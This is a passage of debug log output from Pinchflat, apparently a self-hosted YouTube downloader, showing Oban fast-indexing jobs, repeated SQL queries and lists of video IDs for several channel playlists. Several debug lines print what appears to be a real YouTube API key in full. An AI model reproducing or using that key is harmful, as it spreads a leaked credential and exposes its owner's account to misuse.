m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:04:25.038 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:25.038 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 17:04:25.038 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:25.038 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:04:25.229 [debug] QUERY OK source="media_items" db=0.5ms idle=191.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "fHPCS8j3cRM", "oEruzTKteRE", "AtaG0PQYeVQ", "ebGLFVzvdfM", "5NG4hycq8n0", "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", ...] 17:04:25.230 [debug] QUERY OK source="media_items" db=0.2ms idle=191.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 17:04:25.231 [debug] QUERY OK source="tasks" db=0.1ms idle=192.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268373, 13, ~U[2026-10-09 22:04:25Z], ~U[2026-10-09 22:04:25Z]] 17:04:25.231 [info] {"args":{"id":13},"id":5268333,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":193776,"event":"job:stop","queue_time":270152,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:04:45.522 [info] {"source":"oban","duration":9818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:59.071 [info] {"args":{"id":9},"id":5268334,"meta":{},"system_time":1791583499071216187,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:04:59.071 [info] {"args":{"id":17},"id":5268335,"meta":{},"system_time":1791583499071256962,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:04:59.071 [debug] QUERY OK source="sources" db=0.0ms idle=724.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 17:04:59.071 [debug] QUERY OK source="sources" db=0.1ms idle=724.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 17:04:59.071 [debug] QUERY OK source="settings" db=0.2ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:59.072 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:04:59.072 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:59.072 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 17:04:59.072 [debug] QUERY OK source="settings" db=0.8ms idle=724.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:59.072 [debug] QUERY OK source="settings" db=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:59.072 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:04:59.072 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:04:59.072 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:59.072 [debug] Fetching recent media IDs from YouTube API for playlist: UUHC4G4X-OR5WkY-IquRGa3Q 17:04:59.073 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:59.073 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:04:59.268 [debug] QUERY OK source="media_items" db=0.7ms idle=195.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "5N17EbYJBwQ", "tbWTiZlwJ3M", "_L1Rim7-IPo", "NUVkpWAD548", "67LFeTgFv3Y", "KLJxCWeYGoE", "KwqeKTM9M_8", "0BAkKJ_3Tic", "GRbokvmv-2M", "q3nD5qD758o", "eMG3FWEwJnk", "--LXDh44cBQ", "h0EGCnBjTVk", "L0R-Ac1XRyk", "GF_qEM_vUwo", "3Y7o9IgliYk", "NnvIwG0S8WE", "IEJALLQFmDs", "6VCyrdMLrcY", "S7UM5lSgAg8", "GOmQwinZKtE", "wJMrk69WOdw", "VZ0oIzvzkGI", "Xg1ro-zG7AM", "YPOfYntrrcU", "9BsQpGhwVAY", "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", ...] 17:04:59.270 [debug] QUERY OK source="media_items" db=0.6ms idle=196.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 17:04:59.270 [debug] QUERY OK source="tasks" db=0.0ms idle=197.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268374, 9, ~U[2026-10-09 22:04:59Z], ~U[2026-10-09 22:04:59Z]] 17:04:59.271 [info] {"args":{"id":9},"id":5268334,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":199757,"event":"job:stop","queue_time":316959,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:04:59.465 [debug] QUERY OK source="media_items" db=0.4ms idle=194.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [17, "MvbAEEBLva8", "ZmWREtcDVBE", "qvot0oeaH_4", "uYLwEcxsDkI", "S9GJRC5XSXc", "AbTDzPUDxqY", "GdxFY_wtiOI", "NuEgjAMfdIY", "JYsDN6-XRrc", "nEU3gajt5aA", "0sowY00Ld_Y", "LN1CdJxY2_I", "RhOTMyzTDJw", "FU9J6mrKE28", "-BdZPFzH2JY", "Tvflpm-shoY", "qG04nqjL_iA", "T4tcZAduiVk", "icQmJ4Ty0Os", "GmC05wOc5Dw", "EwXx1AgEVA0", "gmqUvDGRKhk", "9GxXjTQSrLU", "rs1WF2SkjuY", "7EwRD6SzXws", "HZCwg_9zq2A", "2QKPQ6JYVhU", "P7GKK3liv8M", "TaFTKRjMY68", "e2HUg144liM", "Z-iNAyu-ejo", "9KOZUw_Ah8w", "rK2locyo-Pc", "N9OKVCt8dOM", "d9zHO6Lh2zY"] 17:04:59.465 [debug] QUERY OK source="media_items" db=0.1ms idle=194.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [17] 17:04:59.466 [debug] QUERY OK source="tasks" db=0.1ms idle=189.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268375, 17, ~U[2026-10-09 22:04:59Z], ~U[2026-10-09 22:04:59Z]] 17:04:59.466 [info] {"args":{"id":17},"id":5268335,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":395306,"event":"job:stop","queue_time":33977,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:00.072 [info] {"args":{"id":11},"id":5268336,"meta":{},"system_time":1791583500072132943,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:00.072 [info] {"args":{"id":26},"id":5268337,"meta":{},"system_time":1791583500072193666,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:05:00.072 [debug] QUERY OK source="sources" db=0.1ms idle=605.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 17:05:00.072 [debug] QUERY OK source="sources" db=0.2ms idle=605.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 17:05:00.072 [debug] QUERY OK source="settings" db=0.1ms idle=599.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:00.072 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:00.072 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:00.073 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:00.073 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:00.073 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 17:05:00.073 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:00.073 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 17:05:00.073 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:00.073 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:00.073 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:05:00.073 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:05:00.310 [debug] QUERY OK source="media_items" db=0.6ms idle=236.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "xxCqvOV-qdU", "luKNGNqXWiU", "9hf6QDQ8Zcc", "MD6_U_hMLt4", "9Eme-c6nqCs", "vankPlotnvE", "QGMjCPjUGlk", "5J9Sd4jJAy4", "HoVsWE1_JUk", "vdL21cIwIaA", "LIBSaNq8qFM", "nw5h-Vdeb6o", "MWy_nCypzFU", "4sLs2bPxwUU", "L7T3eGnzPN4", "HUvKLQpBn0U", "kTdv5qf7KCk", "TAhKuvWrReU", "sjez5hHWYys", "ywzcLeaYSPg", "KA2BT5VZw3k", "mNyKAPKal44", "fsyBvBEwraU", "4ATnadlQex4", "iri2lLTWImE", "d6SPfWamurY", "34P8ibb9wP4", "wvFyNI7PUqY", "yPGhKPOKj3k", "0vguAdTZqWk", "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", ...] 17:05:00.312 [debug] QUERY OK source="media_items" db=1.3ms idle=238.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN 